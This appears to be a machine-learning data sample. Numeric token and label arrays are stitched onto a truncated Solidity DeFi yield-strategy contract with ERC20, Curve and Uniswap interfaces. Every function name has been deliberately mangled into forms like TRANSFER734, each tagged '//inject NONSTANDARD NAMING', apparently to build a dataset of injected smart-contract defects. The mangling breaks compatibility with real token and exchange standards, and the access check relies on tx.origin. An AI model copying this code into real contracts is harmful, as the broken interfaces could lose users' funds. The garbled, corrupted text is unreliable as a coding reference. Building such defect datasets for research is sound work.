225,
702,
702,
533,
327,
1731,
1578,
843,
612,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
336,
1609,
5489,
12,
3890,
745,
892,
9920,
16,
533,
745,
892,
702,
13,
3903,
1135,
261,
3890,
1578,
13,
288,
203,
3639,
327,
23009,
12,
9343,
18,
588,
1609,
5489,
16,
23453,
9920,
16,
702,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function ADD388(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB906(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB906(a, b, "SafeMath: subtraction overflow");
}
function SUB906(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL601(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV456(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV456(a, b, "SafeMath: division by zero");
}
function DIV456(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD78(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD78(a, b, "SafeMath: modulo by zero");
}
function MOD78(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _MSGSENDER877() internal view virtual returns (address payable) { //inject NONSTANDARD NAMING
return msg.sender;
}
function _MSGDATA207() internal view virtual returns (bytes memory) { //inject NONSTANDARD NAMING
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function TOTALSUPPLY738() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF68(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER734(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE35(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE429(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM531(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER657(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL956(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
// File: contracts/utils/Address.sol
library Address {
function ISCONTRACT600(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function SENDVALUE944(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL15(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL15(target, data, "Address: low-level call failed");
}
function FUNCTIONCALL15(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE358(target, data, 0, errorMessage);
}
function FUNCTIONCALLWITHVALUE499(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE499(target, data, value, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE499(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= value, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE358(target, data, value, errorMessage);
}
function _FUNCTIONCALLWITHVALUE358(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT600(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: contracts/token/ERC20/ERC20.sol
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function NAME254() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL669() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS84() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
function TOTALSUPPLY738() public view override returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF68(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER734(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER67(_MSGSENDER877(), recipient, amount);
return true;
}
function ALLOWANCE35(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE429(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_APPROVE455(_MSGSENDER877(), spender, amount);
return true;
}
function TRANSFERFROM531(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER67(sender, recipient, amount);
_APPROVE455(sender, _MSGSENDER877(), _allowances[sender][_MSGSENDER877()].SUB906(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE275(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE455(_MSGSENDER877(), spender, _allowances[_MSGSENDER877()][spender].ADD388(addedValue));
return true;
}
function DECREASEALLOWANCE402(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE455(_MSGSENDER877(), spender, _allowances[_MSGSENDER877()][spender].SUB906(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER67(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_BEFORETOKENTRANSFER81(sender, recipient, amount);
_balances[sender] = _balances[sender].SUB906(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD388(amount);
emit TRANSFER657(sender, recipient, amount);
}
function _MINT823(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_BEFORETOKENTRANSFER81(address(0), account, amount);
_totalSupply = _totalSupply.ADD388(amount);
_balances[account] = _balances[account].ADD388(amount);
emit TRANSFER657(address(0), account, amount);
}
function _BURN465(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_BEFORETOKENTRANSFER81(account, address(0), amount);
_balances[account] = _balances[account].SUB906(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB906(amount);
emit TRANSFER657(account, address(0), amount);
}
function _APPROVE455(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL956(owner, spender, amount);
}
function _SETUPDECIMALS854(uint8 decimals_) internal { //inject NONSTANDARD NAMING
_decimals = decimals_;
}
function _BEFORETOKENTRANSFER81(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function SAFETRANSFER331(IERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN31(token, abi.encodeWithSelector(token.TRANSFER734.selector, to, value));
}
function SAFETRANSFERFROM748(IERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING
_CALLOPTIONALRETURN31(token, abi.encodeWithSelector(token.TRANSFERFROM531.selector, from, to, value));
}
function SAFEAPPROVE284(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.ALLOWANCE35(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_CALLOPTIONALRETURN31(token, abi.encodeWithSelector(token.APPROVE429.selector, spender, value));
}
function SAFEINCREASEALLOWANCE243(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE35(address(this), spender).ADD388(value);
_CALLOPTIONALRETURN31(token, abi.encodeWithSelector(token.APPROVE429.selector, spender, newAllowance));
}
function SAFEDECREASEALLOWANCE653(IERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING
uint256 newAllowance = token.ALLOWANCE35(address(this), spender).SUB906(value, "SafeERC20: decreased allowance below zero");
_CALLOPTIONALRETURN31(token, abi.encodeWithSelector(token.APPROVE429.selector, spender, newAllowance));
}
function _CALLOPTIONALRETURN31(IERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).FUNCTIONCALL15(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IVault is IERC20 {
function TOKEN190() external view returns (address); //inject NONSTANDARD NAMING
function DECIMALS84() external view returns (uint8); //inject NONSTANDARD NAMING
function EARN763() external; //inject NONSTANDARD NAMING
function DEPOSIT115(uint256) external; //inject NONSTANDARD NAMING
function DEPOSITALL187() external; //inject NONSTANDARD NAMING
function WITHDRAW593(uint256) external; //inject NONSTANDARD NAMING
function WITHDRAWALL63() external; //inject NONSTANDARD NAMING
function DISTRIBUTE67() external; //inject NONSTANDARD NAMING
function SALVAGE929(address, uint256) external; //inject NONSTANDARD NAMING
function GETRATIO675() external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurveFi_2 {
function GET_VIRTUAL_PRICE809() external view returns (uint256); //inject NONSTANDARD NAMING
function ADD_LIQUIDITY50(uint256[2] calldata amounts, uint256 min_mint_amount) //inject NONSTANDARD NAMING
external;
function REMOVE_LIQUIDITY_IMBALANCE11( //inject NONSTANDARD NAMING
uint256[2] calldata amounts,
uint256 max_burn_amount
) external;
function REMOVE_LIQUIDITY517(uint256 _amount, uint256[2] calldata amounts) //inject NONSTANDARD NAMING
external;
function EXCHANGE792( //inject NONSTANDARD NAMING
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function BALANCES2(int128) external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurve3Pool {
function GET_VIRTUAL_PRICE809() external view returns (uint256); //inject NONSTANDARD NAMING
function ADD_LIQUIDITY50(uint256[3] calldata amounts, uint256 min_mint_amount) //inject NONSTANDARD NAMING
external;
function REMOVE_LIQUIDITY_IMBALANCE11( //inject NONSTANDARD NAMING
uint256[3] calldata amounts,
uint256 max_burn_amount
) external;
function REMOVE_LIQUIDITY517(uint256 _amount, uint256[3] calldata amounts) //inject NONSTANDARD NAMING
external;
function EXCHANGE792( //inject NONSTANDARD NAMING
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function BALANCES2(uint256) external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurveFi_4 {
function GET_VIRTUAL_PRICE809() external view returns (uint256); //inject NONSTANDARD NAMING
function ADD_LIQUIDITY50(uint256[4] calldata amounts, uint256 min_mint_amount) //inject NONSTANDARD NAMING
external;
function REMOVE_LIQUIDITY_IMBALANCE11( //inject NONSTANDARD NAMING
uint256[4] calldata amounts,
uint256 max_burn_amount
) external;
function REMOVE_LIQUIDITY517(uint256 _amount, uint256[4] calldata amounts) //inject NONSTANDARD NAMING
external;
function EXCHANGE792( //inject NONSTANDARD NAMING
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function BALANCES2(int128) external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurveZap_4 {
function ADD_LIQUIDITY50( //inject NONSTANDARD NAMING
uint256[4] calldata uamounts,
uint256 min_mint_amount
) external;
function REMOVE_LIQUIDITY517(uint256 _amount, uint256[4] calldata min_uamounts) //inject NONSTANDARD NAMING
external;
function REMOVE_LIQUIDITY_IMBALANCE11( //inject NONSTANDARD NAMING
uint256[4] calldata uamounts,
uint256 max_burn_amount
) external;
function CALC_WITHDRAW_ONE_COIN560(uint256 _token_amount, int128 i) //inject NONSTANDARD NAMING
external
returns (uint256);
function REMOVE_LIQUIDITY_ONE_COIN125( //inject NONSTANDARD NAMING
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
function REMOVE_LIQUIDITY_ONE_COIN125( //inject NONSTANDARD NAMING
uint256 _token_amount,
int128 i,
uint256 min_uamount,
bool donate_dust
) external;
function WITHDRAW_DONATED_DUST417() external; //inject NONSTANDARD NAMING
function COINS352(int128 arg0) external returns (address); //inject NONSTANDARD NAMING
function UNDERLYING_COINS1(int128 arg0) external returns (address); //inject NONSTANDARD NAMING
function CURVE335() external returns (address); //inject NONSTANDARD NAMING
function TOKEN190() external returns (address); //inject NONSTANDARD NAMING
}
interface ICurveZap {
function REMOVE_LIQUIDITY_ONE_COIN125( //inject NONSTANDARD NAMING
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
}
interface ICurveGauge {
function DEPOSIT115(uint256 _value) external; //inject NONSTANDARD NAMING
function DEPOSIT115(uint256 _value, address addr) external; //inject NONSTANDARD NAMING
function BALANCEOF68(address arg0) external view returns (uint256); //inject NONSTANDARD NAMING
function WITHDRAW593(uint256 _value) external; //inject NONSTANDARD NAMING
function WITHDRAW593(uint256 _value, bool claim_rewards) external; //inject NONSTANDARD NAMING
function CLAIM_REWARDS536() external; //inject NONSTANDARD NAMING
function CLAIM_REWARDS536(address addr) external; //inject NONSTANDARD NAMING
function CLAIMABLE_TOKENS440(address addr) external returns (uint256); //inject NONSTANDARD NAMING
function CLAIMABLE_REWARD978(address addr) external view returns (uint256); //inject NONSTANDARD NAMING
function INTEGRATE_FRACTION797(address arg0) external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurveMintr {
function MINT951(address) external; //inject NONSTANDARD NAMING
function MINTED257(address arg0, address arg1) external view returns (uint256); //inject NONSTANDARD NAMING
}
interface ICurveVotingEscrow {
function LOCKED178(address arg0) //inject NONSTANDARD NAMING
external
view
returns (int128 amount, uint256 end);
function LOCKED__END474(address _addr) external view returns (uint256); //inject NONSTANDARD NAMING
function CREATE_LOCK305(uint256, uint256) external; //inject NONSTANDARD NAMING
function INCREASE_AMOUNT922(uint256) external; //inject NONSTANDARD NAMING
function INCREASE_UNLOCK_TIME38(uint256 _unlock_time) external; //inject NONSTANDARD NAMING
function WITHDRAW593() external; //inject NONSTANDARD NAMING
function SMART_WALLET_CHECKER846() external returns (address); //inject NONSTANDARD NAMING
}
interface ICurveSmartContractChecker {
function WALLETS237(address) external returns (bool); //inject NONSTANDARD NAMING
function APPROVEWALLET249(address _wallet) external; //inject NONSTANDARD NAMING
}
interface UniswapRouterV2 {
function SWAPEXACTTOKENSFORTOKENS167( //inject NONSTANDARD NAMING
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function ADDLIQUIDITY947( //inject NONSTANDARD NAMING
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function ADDLIQUIDITYETH996( //inject NONSTANDARD NAMING
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function REMOVELIQUIDITY801( //inject NONSTANDARD NAMING
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function GETAMOUNTSOUT893(uint256 amountIn, address[] calldata path) //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory amounts);
function GETAMOUNTSIN14(uint256 amountOut, address[] calldata path) //inject NONSTANDARD NAMING
external
view
returns (uint256[] memory amounts);
function SWAPETHFOREXACTTOKENS437( //inject NONSTANDARD NAMING
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function SWAPEXACTETHFORTOKENS898( //inject NONSTANDARD NAMING
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
}
interface IUniswapV2Pair {
event APPROVAL956( //inject NONSTANDARD NAMING
address indexed owner,
address indexed spender,
uint256 value
);
event TRANSFER657(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
function NAME254() external pure returns (string memory); //inject NONSTANDARD NAMING
function SYMBOL669() external pure returns (string memory); //inject NONSTANDARD NAMING
function DECIMALS84() external pure returns (uint8); //inject NONSTANDARD NAMING
function TOTALSUPPLY738() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF68(address owner) external view returns (uint256); //inject NONSTANDARD NAMING
function ALLOWANCE35(address owner, address spender) //inject NONSTANDARD NAMING
external
view
returns (uint256);
function APPROVE429(address spender, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFER734(address to, uint256 value) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM531( //inject NONSTANDARD NAMING
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR578() external view returns (bytes32); //inject NONSTANDARD NAMING
function PERMIT_TYPEHASH551() external pure returns (bytes32); //inject NONSTANDARD NAMING
function NONCES443(address owner) external view returns (uint256); //inject NONSTANDARD NAMING
function PERMIT326( //inject NONSTANDARD NAMING
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event MINT405(address indexed sender, uint256 amount0, uint256 amount1); //inject NONSTANDARD NAMING
event BURN673( //inject NONSTANDARD NAMING
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event SWAP227( //inject NONSTANDARD NAMING
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event SYNC504(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING
function MINIMUM_LIQUIDITY881() external pure returns (uint256); //inject NONSTANDARD NAMING
function FACTORY729() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN0644() external view returns (address); //inject NONSTANDARD NAMING
function TOKEN1449() external view returns (address); //inject NONSTANDARD NAMING
function GETRESERVES964() //inject NONSTANDARD NAMING
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function PRICE0CUMULATIVELAST588() external view returns (uint256); //inject NONSTANDARD NAMING
function PRICE1CUMULATIVELAST951() external view returns (uint256); //inject NONSTANDARD NAMING
function KLAST390() external view returns (uint256); //inject NONSTANDARD NAMING
function MINT951(address to) external returns (uint256 liquidity); //inject NONSTANDARD NAMING
function BURN57(address to) //inject NONSTANDARD NAMING
external
returns (uint256 amount0, uint256 amount1);
function SWAP519( //inject NONSTANDARD NAMING
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function SKIM366(address to) external; //inject NONSTANDARD NAMING
function SYNC84() external; //inject NONSTANDARD NAMING
}
interface IUniswapV2Factory {
event PAIRCREATED988( //inject NONSTANDARD NAMING
address indexed token0,
address indexed token1,
address pair,
uint256
);
function GETPAIR36(address tokenA, address tokenB) //inject NONSTANDARD NAMING
external
view
returns (address pair);
function ALLPAIRS303(uint256) external view returns (address pair); //inject NONSTANDARD NAMING
function ALLPAIRSLENGTH195() external view returns (uint256); //inject NONSTANDARD NAMING
function FEETO341() external view returns (address); //inject NONSTANDARD NAMING
function FEETOSETTER863() external view returns (address); //inject NONSTANDARD NAMING
function CREATEPAIR664(address tokenA, address tokenB) //inject NONSTANDARD NAMING
external
returns (address pair);
}
interface ICurveTBTC {
function ADD_LIQUIDITY50( //inject NONSTANDARD NAMING
uint256[4] calldata amounts,
uint256 min_mint_amount
) external returns (uint256);
}
interface IKeepRewardsClaimable {
function CLAIM_REWARDS536() external; //inject NONSTANDARD NAMING
}
// Base of all strategy contracts
abstract contract VoxStrategyBase {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// Perfomance fees
uint256 public treasuryFee = 1000;
uint256 public constant treasuryfeemax584 = 2000; //inject NONSTANDARD NAMING
uint256 public constant treasuryfeebase971 = 10000; //inject NONSTANDARD NAMING
uint256 public strategyFee = 500;
uint256 public constant strategyfeemax620 = 5000; //inject NONSTANDARD NAMING
uint256 public constant strategyfeebase640 = 10000; //inject NONSTANDARD NAMING
uint256 public developerFee = 250;
uint256 public constant developerfeemax597 = 500; //inject NONSTANDARD NAMING
uint256 public constant developerfeebase561 = 10000; //inject NONSTANDARD NAMING
// Withdrawal fee
uint256 public withdrawalFee = 15;
uint256 public constant withdrawalfeemax274 = 15; //inject NONSTANDARD NAMING
uint256 public constant withdrawalfeebase605 = 10000; //inject NONSTANDARD NAMING
// Tokens
address public underlying;
address public constant weth339 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; //inject NONSTANDARD NAMING
address public constant wbtc162 = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; //inject NONSTANDARD NAMING
// User accounts
address public governance;
address public strategist;
address public treasury;
address public devfund;
address public timelock;
address public vault;
// Dex
address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(
address _underlying,
address _governance,
address _strategist,
address _treasury,
address _devfund,
address _timelock,
address _vault
) public {
require(_underlying != address(0));
require(_governance != address(0));
require(_strategist != address(0));
require(_treasury != address(0));
require(_devfund != address(0));
require(_timelock != address(0));
require(_vault != address(0));
underlying = _underlying;
governance = _governance;
strategist = _strategist;
treasury = _treasury;
devfund = _devfund;
timelock = _timelock;
vault = _vault;
}
// **** Modifiers **** //
modifier RESTRICTED912 { //inject NONSTANDARD NAMING
require(
msg.sender == tx.origin ||
msg.sender == governance ||
msg.sender == strategist
);
_;
}
// **** Views **** //
function BALANCEOFUNDERLYING222() public view returns (uint256) { //inject NONSTANDARD NAMING
return IERC20(underlying).BALANCEOF68(address(this));
}
function BALANCEOFPOOL881() public virtual view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF68() public view returns (uint256) { //inject NONSTANDARD NAMING
return BALANCEOFUNDERLYING222().ADD388(BALANCEOFPOOL881());
}
function GETNAME974() external virtual pure returns (string memory); //inject NONSTANDARD NAMING
// **** Setters **** //
function SETTREASURYFEE502(uint256 _treasuryFee) external { //inject NONSTANDARD NAMING
require(msg.sender == timelock, "!timelock");
treasuryFee = _treasuryFee;
}
function SETSTRATEGYFEE761(uint256 _strategyFee) external { //inject NONSTANDARD NAMING
require(msg.sender == timelock, "!timelock");
strategyFee = _strategyFee;
}
function SETDEVELOPERFEE113(uint256 _developerFee) external { //inject NONSTANDARD NAMING
require(msg.sender == timelock, "!timelock");
developerFee = _developerFee;
}
function SETWITHDRAWALFEE980(uint256 _withdrawalFee) external { //inject NONSTANDARD NAMING
require(msg.sender == timelock, "!timelock");
withdrawalFee = _withdrawalFee;
}
function SETSTRATEGIST654(address _strategist) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function SETGOVERNANCE136(address _governance) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
governance = _governance;
}
function SETTREASURY187(address _treasury) external { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
treasury = _treasury;
}
function SETDEVFUND591(address _devfund) external { //inject NONSTANDARD NAMING
require(msg.sender == devfund, "!devfund");
devfund = _devfund;
}
function SETTIMELOCK277(address _timelock) external { //inject NONSTANDARD NAMING
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
// **** State mutations **** //
function DEPOSIT115() public virtual; //inject NONSTANDARD NAMING
// Governance only function to salvage non-underlying assets
function SALVAGE929(IERC20 _asset) external returns (uint256 balance) { //inject NONSTANDARD NAMING
require(msg.sender == governance, "!governance");
require(underlying != address(_asset), "underlying");
balance = _asset.BALANCEOF68(address(this));
_asset.SAFETRANSFER331(treasury, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function WITHDRAW593(uint256 _amount) external { //inject NONSTANDARD NAMING
require(msg.sender == vault, "!vault");
uint256 _balance = IERC20(underlying).BALANCEOF68(address(this));
if (_balance < _amount) {
_amount = _WITHDRAWSOME235(_amount.SUB906(_balance));
_amount = _amount.ADD388(_balance);
}
uint256 _withdrawalFee = _amount.MUL601(withdrawalFee).DIV456(withdrawalfeebase605);
IERC20(underlying).SAFETRANSFER331(treasury, _withdrawalFee);
